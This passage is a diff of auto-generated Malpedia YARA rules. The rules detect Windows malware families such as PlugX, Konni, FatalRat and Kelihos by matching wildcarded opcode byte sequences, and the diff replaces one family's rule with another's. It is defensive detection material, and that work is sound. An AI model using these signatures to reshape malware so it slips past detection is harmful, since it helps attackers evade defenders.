"3b6c3f51dd6f327df47fc74ff663d2bedf14223af4a9dd48f5c4c4ee2763ed08" + logic_hash = "498da53687cd17478c7025106c84cdcc0e6118bdb951cd75112ef2c2e9026da6" score = 75 quality = 75 tags = "FILE" @@ -91655,69 +91762,69 @@ rule MALPEDIA_Win_Fatal_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5d c3 55 8bec 8b4508 8b4d0c 2d00803ed5 } - $sequence_1 = { c3 55 8bec 81ec04020000 53 57 6a7f } - $sequence_2 = { 68???????? 89470c ff7508 ffd6 8b4f0c 894710 } - $sequence_3 = { ff15???????? 85c0 894508 0f84e9000000 8b35???????? 68???????? 50 } - $sequence_4 = { 8d85a4fdffff 56 50 8935???????? ff15???????? 83c40c 6a0a } - $sequence_5 = { 59 740d 6a00 68???????? ff15???????? c9 c3 } - $sequence_6 = { 83c310 ebaf 8d4dc0 c645fc01 } - $sequence_7 = { 57 6a00 ff7508 ffd6 } - $sequence_8 = { 750c 57 ff15???????? e9???????? 53 8d45fc } - $sequence_9 = { 50 ff15???????? ff75f4 8946f8 6a00 50 ff15???????? } + $sequence_0 = { ff35???????? 8f442404 68dd5d08ae 60 ff3424 } + $sequence_1 = { 56 68???????? 53 53 ff15???????? 8984bdfcfeffff 47 } + $sequence_2 = { 660fa3ff f8 3529af0800 9c c7858cfcffffcccccccc 9c f8 } + $sequence_3 = { 6814050000 53 68???????? e8???????? 83c40c 891d???????? } + $sequence_4 = { 8b742410 57 6a08 5f 8b4cfe50 } + $sequence_5 = { c1ea02 8a92506c4000 8811 83e003 c1e004 8bd6 c1ea04 } + $sequence_6 = { 8bda 23d8 0fb69be8a54000 33fb 8b5d08 337b04 8b5d0c } + $sequence_7 = { c0f305 f9 6a04 87ce 9c 0fbec9 660face902 } + $sequence_8 = { 885c2404 887c2404 8d642410 e8???????? 9c 668b3424 } + $sequence_9 = { 8d45ec 50 68000f0050 8d8e74040000 57 e8???????? 6a05 } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Nestegg_Auto : FILE +rule MALPEDIA_Win_Unidentified_089_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52ec43db-af34-5600-ae4f-7af1b99fc246" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nestegg_auto.yar#L1-L101" + id = "f61e4a77-808b-5e07-801b-03e57ce838b5" + date = "2023-07-11" + modified = "2023-07-15" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_089_auto.yar#L1-L98" license_url = "N/A" - logic_hash = "998bf1c6b0e9df7e30236e71f3887671a96f6e1e7f5c7700f72ff2a5d20b9889" + logic_hash = "f9666eb88fbd91e0eb2e4b4c8812230b36d73d66192fed407aecfaa8f0ed362a" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230705" + malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" + malpedia_version = "20230715" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4c2420 33ed 89442444 51 } - $sequence_1 = { 6a08 ff15???????? 8be8 b988000000 33c0 8dbc24a8020000 c78424a402000024020000 } - $sequence_2 = { 89742410 e8???????? 6a00 6800200000 8d8e2c040000 c744245800000000 } - $sequence_3 = { 2bc3 8bce 50 e8???????? 8b8f28040000 } - $sequence_4 = { 5f 5e 59 c20c00 ff15???????? } - $sequence_5 = { b907000000 f7f9 42 89542410 8b5500 } - $sequence_6 = { 7530 50 50 8b44240c 25ffff0000 50 68???????? } - $sequence_7 = { 81e1ffff0000 c744243400000000 d1e1 85c9 } + $sequence_0 = { 889dd4feffff 899d84feffff 898588feffff 889d74feffff 33c0 } + $sequence_1 = { 8b4508 e8???????? c20c00 e8???????? cc 6a30 } + $sequence_2 = { f2e9e3000000 55 8bec eb0d ff7508 e8???????? } + $sequence_3 = { 83f904 0f8582000000 8b75d0 8bfb } + $sequence_4 = { eb0f ff7634 57 ff562c } + $sequence_5 = { 88041e 880c1f 0fb6041e 8b4dfc 03c2 8b550c } + $sequence_6 = { 3dffffff7f 0f87a2000000 03c0 3d00100000 7227 } + $sequence_7 = { 56 6a01 8d4dec 8975d8 } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 389120 } -rule MALPEDIA_Win_Htbot_Auto : FILE +rule MALPEDIA_Win_Zitmo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "39a927d2-1945-5991-992e-cc87b6814598" + id = "abf7d489-428c-576b-bf50-6d5176838935" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htbot_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zitmo_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "d80214a974c7da7b11a6b3decefcabbf12f30dbe8a8667d77b9a26c8d44a14ba" + logic_hash = "af492533d6f46a2ad9ae3961738d77dc030c3e8231bbc6ee80a9ef330be7fcfa" score = 75 quality = 75 tags = "FILE" @@ -91731,34 +91838,34 @@ rule MALPEDIA_Win_Htbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6857000780 e8???????? 83c601 8d4e0a 3bcd 0f8db6000000 85f6 } - $sequence_1 = { 83c002 6685c9 75f5 2bc2 d1f8 0f88ce020000 } - $sequence_2 = { 8d7c241c 8d442420 c644246003 e8???????? 85c0 0f84e1000000 8d4900 } - $sequence_3 = { c68424b410000004 e8???????? 8b442430 8b00 8b8c24b8100000 8d542448 } - $sequence_4 = { 8b11 50 8b4204 ffd0 c64424340a 8b44241c } - $sequence_5 = { 51 8b4ef0 8b11 8b4210 83c6f0 89642428 8bdc } - $sequence_6 = { 8b4c2414 51 ff15???????? 8d54241c 52 } - $sequence_7 = { 8b11 8b4204 57 ffd0 83c510 896c2414 } - $sequence_8 = { 384802 7550 384803 744b 83c004 3808 7418 } - $sequence_9 = { 2bc1 d1f8 83f8ff 755c 3959f4 } + $sequence_0 = { 23cb 8bd6 ff75a0 e8???????? } + $sequence_1 = { 55 8bec 81c434ffffff f7df 8bf0 49 } + $sequence_2 = { 8175b437340000 23f9 f7d1 03d7 f7d2 } + $sequence_3 = { 4b f7de c745bc36343335 03c3 f7da f7d1 } + $sequence_4 = { ffb584feffff 56 e8???????? ffb574ffffff } + $sequence_5 = { f7df 894da8 8955d0 ffb560feffff e8???????? c9 } + $sequence_6 = { f7d7 ff45b4 8bcf f7d6 03fa 8d9568ffffff } + $sequence_7 = { 81759437320000 3145b8 41 23c6 } + $sequence_8 = { 42 4e f7df 03d7 48 40 } + $sequence_9 = { 23cb 4a f7d0 8955c4 c9 c20c00 55 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 843776 } -rule MALPEDIA_Win_Cobint_Auto : FILE +rule MALPEDIA_Win_Cradlecore_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb358b61-4ba2-55a7-8a20-31d71cd4f25b" + id = "fec2c384-0d7c-5ffa-a383-057dccfbd935" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobint_auto.yar#L1-L232" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cradlecore_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a45731be84e3fdba6ba2e9fa2e98a6d98c16a2eb8dae8c7026872152dd218ff0" + logic_hash = "cc04ae06802f62915d99191dfee1f4ad76dcf5fb1c40032e747d4c7261b81445" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -91770,48 +91877,34 @@ rule MALPEDIA_Win_Cobint_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c418 a1???????? 03c9 891cc8 8b0d???????? a1???????? } - $sequence_1 = { 891cc8 8b0d???????? a1???????? 03c9 8974c804 8b0d???????? } - $sequence_2 = { c745f404000000 50 8d4508 50 6805000020 56 } - $sequence_3 = { 50 8d45f4 50 8d45ec 50 6813000020 ff75f0 } - $sequence_4 = { 57 6a65 eb31 85db 743a } - $sequence_5 = { e8???????? 83c410 eb60 6a01 8d450f } - $sequence_6 = { 57 bf00020000 57 e8???????? 57 6a00 } - $sequence_7 = { 83f820 7cf3 eb07 8bf0 c1e604 03f2 57 } - $sequence_8 = { 740d 8b5508 0355f0 8a45ec } - $sequence_9 = { 31b7807c30ae 807c909090 90 bdfd807c90 } - $sequence_10 = { 8bcb 897db8 e8???????? 8bf0 } - $sequence_11 = { 81ffea968891 740a 33c0 8b12 85d2 } - $sequence_12 = { ffd6 eb03 8b75e4 ff75d8 ffd6 } - $sequence_13 = { 395318 763c 8b3c90 33c0 03fe } - $sequence_14 = { 90 90 90 e10b } - $sequence_15 = { b800a80000 2bc7 50 56 53 ff55f8 85c0 } - $sequence_16 = { 8802 eb0b 8b4d08 034df0 } - $sequence_17 = { bffc807c28 1a807c170e81 7cd7 9b 807c909090 90 90 } - $sequence_18 = { 749b 807ce19a80 7c90 90 } - $sequence_19 = { 90 e10b 96 7c90 90 } - $sequence_20 = { bab1c50790 8bf0 33ff e8???????? 8d4dec 8945f8 } - $sequence_21 = { ffd0 85c0 0f8406010000 8b4de0 ba6a62f095 } - $sequence_22 = { e8???????? 8945f8 8d45c4 50 } - $sequence_23 = { e8???????? 58 83c005 c3 31b7807c30ae } + $sequence_0 = { e8???????? 8d45d8 c645fc1c 50 e8???????? 8d4590 c645fc1d } + $sequence_1 = { 8bf8 e9???????? 8b8528e5ffff 8b0c85f01f4300 8b8524e5ffff f644080480 0f8475030000 } + $sequence_2 = { 03d9 014c2410 8b54240c 11442414 2bf1 1bf8 8b422c } + $sequence_3 = { 8d4db0 8945fc e8???????? 8b55fc 8bcf f7d1 } + $sequence_4 = { 8bc3 2b450c 741b 50 } + $sequence_5 = { 50 51 8d8c248c000000 e8???????? 8b5508 8d4c2468 } + $sequence_6 = { 395c2430 726f 837c243410 8b442420 7304 } + $sequence_7 = { c1e606 c1e910 c0e107 8b1485f01f4300 8a443224 } + $sequence_8 = { 8b7508 6a00 53 8d4c2430 e8???????? 8bc6 8b4c2444 } + $sequence_9 = { 59 85c0 7831 8b1cc55c5e4200 6a55 53 e8???????? } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 450560 } -rule MALPEDIA_Win_Zenar_Auto : FILE +rule MALPEDIA_Win_Plugx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "33657347-5dc4-5466-88de-08ba2a4ff542" + id = "087f4536-9e07-5d7f-a0d5-0a134931bcd8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zenar_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plugx_auto.yar#L1-L286" license_url = "N/A" - logic_hash = "b1dde475bc16460bb8f7878e012acfd9a678e7c83f20d6fc1c96df7645d0898c" + logic_hash = "341c1f01e0832398e975d439fb075776745e2dea735d9688a1d350eef060bf14" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -91823,32 +91916,55 @@ rule MALPEDIA_Win_Zenar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4d8c 51 50 e8???????? 59 } - $sequence_1 = { 751a 83f8ff 740f 83f8fe 740a 6bcf38 030c9598ae4300 } - $sequence_2 = { 83c801 50 6800000080 ff7508 e8???????? 5d } - $sequence_3 = { 56 ff7508 e8???????? 83c40c e9???????? 8b048d98ae4300 807c022800 } - $sequence_4 = { 68???????? eb0c 68???????? eb05 68???????? e8???????? 39be90000000 } - $sequence_5 = { 8bf1 57 ff750c 33ff 8975fc 8d4e0c c706???????? } - $sequence_6 = { c3 6857000780 68???????? 8d4df0 e8???????? 68???????? 8d45f0 } - $sequence_7 = { 8945fc 56 ff750c 8b7508 8d45fa 50 8975c8 } - $sequence_8 = { 3bfe 72f3 33c0 66890472 8bc3 } - $sequence_9 = { 48 6a5c 5e 8d0442 eb0d 6683f92f 740f } + $sequence_0 = { 55 8bec 51 0fb74612 } + $sequence_1 = { 55 8bec 8b450c 81780402700000 } + $sequence_2 = { 53 6a00 6a00 6a02 ffd0 85c0 } + $sequence_3 = { 51 56 57 6a1c 8bf8 e8???????? 8bf0 } + $sequence_4 = { 56 8b750c 8b4604 050070ffff } + $sequence_5 = { 41 3bca 7ce0 3bca } + $sequence_6 = { 0145f4 8b45fc 0fafc3 33d2 } + $sequence_7 = { e8???????? 85c0 7508 e8???????? 8945fc } + $sequence_8 = { e8???????? 3de5030000 7407 e8???????? } + $sequence_9 = { 85c0 7413 e8???????? 3de5030000 } + $sequence_10 = { e8???????? 85c0 7407 b84f050000 } + $sequence_11 = { 50 ff15???????? a3???????? 8b4d18 } + $sequence_12 = { e8???????? 85c0 750a e8???????? 8945fc } + $sequence_13 = { 85c0 750d e8???????? 8945f4 } + $sequence_14 = { 6a00 6a00 6a04 6a00 6a01 6800000040 57 } + $sequence_15 = { 57 e8???????? eb0c e8???????? } + $sequence_16 = { 51 6a00 6800100000 6800100000 68ff000000 6a00 6803000040 } + $sequence_17 = { 6819000200 6a00 6a00 6a00 51 } + $sequence_18 = { 50 ff75e8 6802000080 e8???????? } + $sequence_19 = { ffd7 a3???????? 56 ffd0 } + $sequence_20 = { 6a01 6a00 e8???????? a3???????? 6800080000 68???????? } + $sequence_21 = { 51 6a02 e8???????? 6800f00000 } + $sequence_22 = { 89442424 8b442424 6808020000 6a00 } + $sequence_23 = { 6800080000 68???????? e8???????? 6800080000 68???????? e8???????? } + $sequence_24 = { 6808020000 6a00 ff74242c e8???????? } + $sequence_25 = { 5d c21000 55 53 57 56 83ec18 } + $sequence_26 = { 89742434 89f1 8b442434 e8???????? } + $sequence_27 = { 50 56 ffb42480000000 ff15???????? } + $sequence_28 = { 50 6802000080 53 e8???????? } + $sequence_29 = { 6a5c ff74241c e8???????? 83c408 } + $sequence_30 = { 56 ff742478 ffd0 89442420 } + $sequence_31 = { 6a00 ff74245c e8???????? 83c40c } + $sequence_32 = { 40 eb95 89f1 c644242a00 } condition: - 7 of them and filesize < 519168 + 7 of them and filesize < 1284096 } -rule MALPEDIA_Win_Bbsrat_Auto : FILE +rule MALPEDIA_Win_Horus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a602361e-80e2-5b74-861b-7270dd69ebb0" + id = "69a4cf35-2806-517b-bb53-0add97c1f457" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bbsrat_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.horus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.horus_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9e349c993b7b920b82b539668c983c2083c9d2bb77a365140f827640d24e311d" + logic_hash = "98e7222b64c7a567c8f798abf5f3ca917bf88c189a0e21ef9e9894081482246f" score = 75 quality = 75 tags = "FILE" @@ -91862,34 +91978,34 @@ rule MALPEDIA_Win_Bbsrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3b0a 7411 837e3800 7d05 8d48fa 890b } - $sequence_1 = { 52 50 55 e8???????? 8d8c2418140000 51 68???????? } - $sequence_2 = { 3b7e28 7cf2 8b4b10 2b4b0c f7c1f0ffffff 0f84c1000000 8b5618 } - $sequence_3 = { 3488 34a8 34b0 34c4 34cc 34e0 34e8 } - $sequence_4 = { 33db f7442410fcffffff 0f86d5000000 6800060000 8d8c241c100000 56 } - $sequence_5 = { 8bd0 89442428 83fe04 722c 8bff 8b0a 8b542414 } - $sequence_6 = { 52 897b08 e8???????? f7d8 1bc0 } - $sequence_7 = { e8???????? 6a36 8d4c246c 51 8d5610 6a46 52 } - $sequence_8 = { e8???????? 85c0 752d 8b560c 895608 ff15???????? } - $sequence_9 = { 7536 80780300 7530 80780400 752a 80780500 7524 } + $sequence_0 = { 8b456f 3bc7 0f8458ffffff 488b757f 897d6f 8b456f 3bc7 } + $sequence_1 = { 57 4883ec20 488b19 488bf9 4885db 0f84de000000 488b7378 } + $sequence_2 = { 4c8945e8 488d4550 488945e0 65488b042560000000 488b4818 488b4110 488b08 } + $sequence_3 = { 480f499df0000000 4885db 742f 488d4307 b908000000 8000d9 48ffc8 } + $sequence_4 = { 488b5df8 eb02 33db 4885db 7429 488d4307 b908000000 } + $sequence_5 = { 4c8bc6 488bc8 33d2 ff15???????? 49833c2400 0f8494000000 bd01000000 } + $sequence_6 = { 83632c00 83633000 c7456f04fa0100 e9???????? 83637c00 488d4b04 488bd6 } + $sequence_7 = { 7457 3d21c40100 0f84d8000000 3d84c80100 0f85cf000000 488b4580 4885c0 } + $sequence_8 = { b803000000 c3 83792800 7427 488b5118 48837a0800 741c } + $sequence_9 = { 0f849e000000 3d45940100 7465 3d56a60100 7441 3dffdc0100 7424 } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 887808 } -rule MALPEDIA_Win_Atlantida_Auto : FILE +rule MALPEDIA_Win_Konni_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "449807de-c2d1-5bb0-a23b-6b1bb9a18e58" + id = "f5f4e6b0-9bc7-5563-95be-e81e34e13947" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlantida" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlantida_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.konni_auto.yar#L1-L466" license_url = "N/A" - logic_hash = "5a71a5b3ff4a38d6154af29c3b9c4fd13de9adafd3282b12a56385b9c3f01092" + logic_hash = "848a6314b768526873d5e9f7192d61992e122b75278ca60f0df452953ea07af0" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -91901,32 +92017,73 @@ rule MALPEDIA_Win_Atlantida_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d8 33d9 03f1 c1f2eb c1b454002000f03f 668b840780fd47a1 0fb68c54002000f0 } - $sequence_1 = { e9???????? f7d2 66d1e8 0fca 0f81cb3a0a00 33da 59 } - $sequence_2 = { f6d9 d0c9 80e9b9 fec0 fec0 c1c20c 32d9 } - $sequence_3 = { f7da fec0 f6d0 42 6698 e8???????? 0f34 } - $sequence_4 = { f7d2 66898c8706fefdff 0fbeca 8b144f f6d8 0fabc0 d2c1 } - $sequence_5 = { ffc7 6641 d1c7 6645 0fc1d5 48 99 } - $sequence_6 = { ff5315 14a8 6292bfc572de 1ad7 381d???????? 50 a9dac0aaf7 } - $sequence_7 = { e8???????? 8b442500 ba90b9872b 80e298 8d0c55ad51af3f 8b8c55e48cf0a8 661bd2 } - $sequence_8 = { fec0 33d3 6633c9 2d0066b83d 35a05ea552 42 f7da } - $sequence_9 = { f7d8 33d8 0fca 66c1f90b 0f878f9f1200 03f0 660fa3d1 } + $sequence_0 = { 52 50 8b45e8 0fb6cc 51 0fb6d0 52 } + $sequence_1 = { 85c0 7527 0fb655eb 0fb645ea } + $sequence_2 = { 03c0 334604 03c0 334608 03c0 33460c 03c0 } + $sequence_3 = { 83c418 8b45e4 50 ff15???????? } + $sequence_4 = { a1???????? 33c5 8945fc 8b0d???????? 8a15???????? 33c0 } + $sequence_5 = { 57 8b7d10 8985f4feffff 33f6 } + $sequence_6 = { 85c0 0f84f1000000 0f88eb000000 83f801 7508 } + $sequence_7 = { 7908 49 81c900ffffff 41 8a940df8feffff } + $sequence_8 = { 83f801 750a c705????????01000000 890d???????? } + $sequence_9 = { 33c9 83f802 7508 890d???????? } + $sequence_10 = { eb1e 83f804 740f c705????????02000000 } + $sequence_11 = { 6a01 ff15???????? 50 a3???????? } + $sequence_12 = { 68b6030000 6a0d 50 ff15???????? } + $sequence_13 = { 7508 890d???????? eb1e 83f804 } + $sequence_14 = { eb02 33c9 e8???????? 8bf8 } + $sequence_15 = { 68???????? ffd6 83c8ff 5f 5e 5b 8b4dfc } + $sequence_16 = { 0fb6591c 88581c 0fb6591d 88581d 0fb6591e } + $sequence_17 = { ffd6 8b4d08 51 ffd6 53 ffd6 } + $sequence_18 = { 68???????? 8d8df0faffff 51 ffd6 8b35???????? 8d95f0faffff } + $sequence_19 = { 8d8df8feffff 51 8d95f0fcffff 52 6a00 6a00 } + $sequence_20 = { 4c89742420 ff15???????? 488bd8 4885c0 744f } + $sequence_21 = { 8db768020000 8916 56 e8???????? 8a8c30dec44600 } + $sequence_22 = { 660f1f440000 498bc8 ba04000000 0f1f840000000000 0fb601 4883c104 48ffca } + $sequence_23 = { 8d8df4fdffff 51 ff15???????? 85c0 755b 57 } + $sequence_24 = { 52 6a00 6a00 ff15???????? 68d0070000 ff15???????? 8b4dfc } + $sequence_25 = { ff15???????? 8b3d???????? be0a000000 68e8030000 ffd7 } + $sequence_26 = { 6a00 8d8df8feffff 51 8d95f0fcffff } + $sequence_27 = { d3ea 33c9 56 e8???????? 8a8c30a6c44600 } + $sequence_28 = { e8???????? 8a8c30dec44600 5e bb01000000 83c604 d3e3 } + $sequence_29 = { 8a8664020000 8b9cae68020000 33d2 56 e8???????? 8a9435dec44600 5e } + $sequence_30 = { e8???????? 8a9435dec44600 5e 84c0 8bfa 7476 83ff03 } + $sequence_31 = { e8???????? 8a8c30a6c44600 5e 8b442414 03ca } + $sequence_32 = { ff15???????? 488bcb ff15???????? 488d8c24e0000000 33d2 } + $sequence_33 = { 57 6804010000 8d95f8feffff 52 } + $sequence_34 = { 488945c0 488d45b8 482bf0 6666666666660f1f840000000000 ba04000000 6666660f1f840000000000 0fb6040e } + $sequence_35 = { 33db 56 e8???????? 8a9c30c2c44600 5e 83f908 } + $sequence_36 = { 41b850000000 4533c9 488bd3 488bc8 c744242803000000 } + $sequence_37 = { 68???????? 8d95f8feffff 52 ffd6 6804010000 8d85f0fcffff 50 } + $sequence_38 = { bbedffffff 03dd 81eb00200200 83bd9404000000 899d94040000 } + $sequence_39 = { 8d3c85e0a30010 8bc3 80c901 83e01f 884d0b 8d34c0 8b07 } + $sequence_40 = { 8d0c9de0a30010 8d9080040000 8901 3bc2 7318 80600400 } + $sequence_41 = { bb???????? 7539 e8???????? 68???????? 53 } + $sequence_42 = { 4963cb 41ffc1 48ffc3 0fb6040c 8843ff 40883c0c } + $sequence_43 = { 80a0a0a1001000 40 41 41 3bc6 72bf } + $sequence_44 = { 4963ca 0fb6040c 4288040c 44881c0c 420fb60c0c 4103cb 81e1ff000080 } + $sequence_45 = { 7468 488d44246c 4c8d8c2480010000 4c8d442430 488d15b1190100 } + $sequence_46 = { 66c705????????0100 837e0811 7509 66c705????????0100 837e0856 7514 66833d????????01 } + $sequence_47 = { 8b348de0a30010 8d1c8de0a30010 8d3cc0 c1e702 03f7 837e0800 } + $sequence_48 = { 4c8bb42480180000 4c8ba42488180000 488bbc2490180000 4889742458 } + $sequence_49 = { 418bf1 8bea 458bda 418bc2 488d0c24 0f1f8000000000 8801 } + $sequence_50 = { 85c0 0f85e0feffff 488bbc2430010000 488b9c2420010000 4c8ba42438010000 } condition: - 7 of them and filesize < 13793280 + 7 of them and filesize < 2361344 } -rule MALPEDIA_Win_Enfal_Auto : FILE +rule MALPEDIA_Win_Loup_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "664ed877-3f83-5f6a-92fa-e1c35cd0edbd" + id = "1404f79d-5679-58f8-95e7-ea2d681e99b9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.enfal_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.loup_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "872fbd5343bee5c1e22067a7277b79e519c2acefc43b08d0086dc684465dbd92" + logic_hash = "01fac51b45c233a343e6af089564cab69dab8dfa8648336955517c666022b803" score = 75 quality = 75 tags = "FILE" @@ -91940,71 +92097,71 @@ rule MALPEDIA_Win_Enfal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d8648020000 68???????? 50 } - $sequence_1 = { bffe010000 eb05 bff4010000 8bc7 5e eb02 } - $sequence_2 = { 51 8d8de8fcffff 51 53 ff505c 85c0 } - $sequence_3 = { 8d85b4fdffff 68???????? 50 e8???????? 8d85b4fdffff 57 } - $sequence_4 = { 8bec 81eccc040000 53 56 8b35???????? 57 } - $sequence_5 = { 89430c ffd6 8b4b1c 68???????? 57 } - $sequence_6 = { 50 e8???????? 8d8628020000 68???????? } - $sequence_7 = { 0fb645da 8d0480 8dbc0059020000 eb54 8b8548ffffff } - $sequence_8 = { 6a01 57 ff15???????? 8bf0 85f6 0f848e000000 8b4624 } - $sequence_9 = { 57 8901 ffd6 8b4b1c 68???????? 57 } + $sequence_0 = { 8b4508 50 8d8de0fbffff 51 8d95f0fdffff 52 } + $sequence_1 = { 668945e8 33c0 668945ea c745ee01000000 b804000000 } + $sequence_2 = { 8d15341a4100 e8???????? 58 5a 5f 5e } + $sequence_3 = { 33c5 8945fc b9???????? e8???????? c745c000000000 c745b400000000 } + $sequence_4 = { c784055cffffff01000000 8d855cffffff 8945d5 8bf4 6a03 } + $sequence_5 = { 7709 8b048514824100 5d c3 33c0 } + $sequence_6 = { c705????????01000000 b904000000 6bd100 c78264a1410002000000 b804000000 6bc800 } + $sequence_7 = { a1???????? 8985c4fbffff 8b0d???????? 898dc8fbffff 8b15???????? } + $sequence_8 = { 668945e8 33c0 668945ea c745ee01000000 } + $sequence_9 = { 51 e8???????? 85c0 7513 8b45f4 50 e8???????? } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 257024 } -rule MALPEDIA_Win_Kelihos_Auto : FILE +rule MALPEDIA_Win_Unidentified_102_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5ce7cec0-9b63-57ad-afe3-2ac567126cba" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kelihos_auto.yar#L1-L134" + id = "68f5ede2-e772-5b9c-86c7-72da7d6ddaff" + date = "2023-07-11" + modified = "2023-07-15" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_102_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "c2eacbb99d14be28a148d8ab81d8255fe39a06721e8fc3e2b106469f00f3e62c" + logic_hash = "7cf959abf8b06a75a101a66334f27ae5601df812c1ddb140fd9298ef735bb0dc" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230705" + malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" + malpedia_version = "20230715" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 6a01 6a08 e8???????? 6a03 53 53 } - 